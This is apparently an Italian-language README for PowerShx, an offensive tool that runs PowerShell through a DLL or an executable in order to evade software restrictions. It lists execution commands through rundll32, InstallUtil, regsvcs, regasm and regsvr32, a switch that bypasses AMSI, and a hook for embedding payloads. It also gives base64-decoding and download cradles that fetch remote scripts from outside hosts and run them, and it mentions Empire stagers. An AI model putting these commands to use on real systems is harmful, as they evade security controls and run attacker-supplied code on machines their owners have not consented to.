
Esegui Powershell senza restrizioni software.
Esecuzione di PowerShell non gestita tramite DLL o un eseguibile autonomo.
PowerShx è una riscrittura e un'espansione del progetto PowerShdll. PowerShx offre funzionalità per bypassare AMSI ed eseguire Cmdlet PS.
rundll32 PowerShx.dll,main -e <PS script to run>
rundll32 PowerShx.dll,main -f <path> Run the script passed as argument
rundll32 PowerShx.dll,main -f <path> -c <PS Cmdlet> Load a script and run a PS cmdlet
rundll32 PowerShx.dll,main -w Start an interactive console in a new window
rundll32 PowerShx.dll,main -i Start an interactive console
rundll32 PowerShx.dll,main -s Attempt to bypass AMSI
rundll32 PowerShx.dll,main -v Print Execution Output to the console
1.
x86 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll
x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll
2.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShx.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShx.dll
3.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShx.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShx.dll
4.
regsvr32 /s /u PowerShx.dll -->Calls DllUnregisterServer
regsvr32 /s PowerShx.dll --> Calls DllRegisterServer
PowerShx.exe -i Start an interactive console
PowerShx.exe -e <PS script to run>
PowerShx.exe -f <path> Run the script passed as argument
PowerShx.exe -f <path> -c <PS Cmdlet> Load a script and run a PS cmdlet
PowerShx.exe -s Attempt to bypass AMSI.
I payload possono essere incorporati aggiornando il dizionario dati "Common.Payloads.PayloadDict" nel progetto "Common" e chiamandolo nel metodo PsSession.cs -> Handle() . Esempio: nel metodo Handle():
private void Handle(Options options)
{
// Pre-execution before user script
_ps.Exe(Payloads.PayloadDict["amsi"]);
}
rundll32 PowerShx.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex
PowerShx.exe -e [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex
Nota: gli stager Empire devono essere decodificati usando [System.Text.Encoding]::Unicode
rundll32 PowerShx.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;
PowerShx.exe -e "IEX ((new-object net.webclient).downloadstring('http://192.168.100/payload-http'))"
.NET 4
Alcuni errori non sembrano apparire nell'output. Può essere confuso poiché comandi come Import-Module non mostrano errori in caso di fallimento. Assicurati di aver digitato correttamente i tuoi comandi.
In modalità dll, la modalità interattiva e l'output dei comandi si basano sul dirottamento della console del processo padre. Se il processo padre non ha una console, usa l'opzione -n per non mostrare output, altrimenti l'applicazione si bloccherà.
A causa del modo in cui Rundll32 gestisce gli argomenti, usare diversi spazi tra gli interruttori e gli argomenti può causare problemi. Gli spazi multipli all'interno degli script sono ok.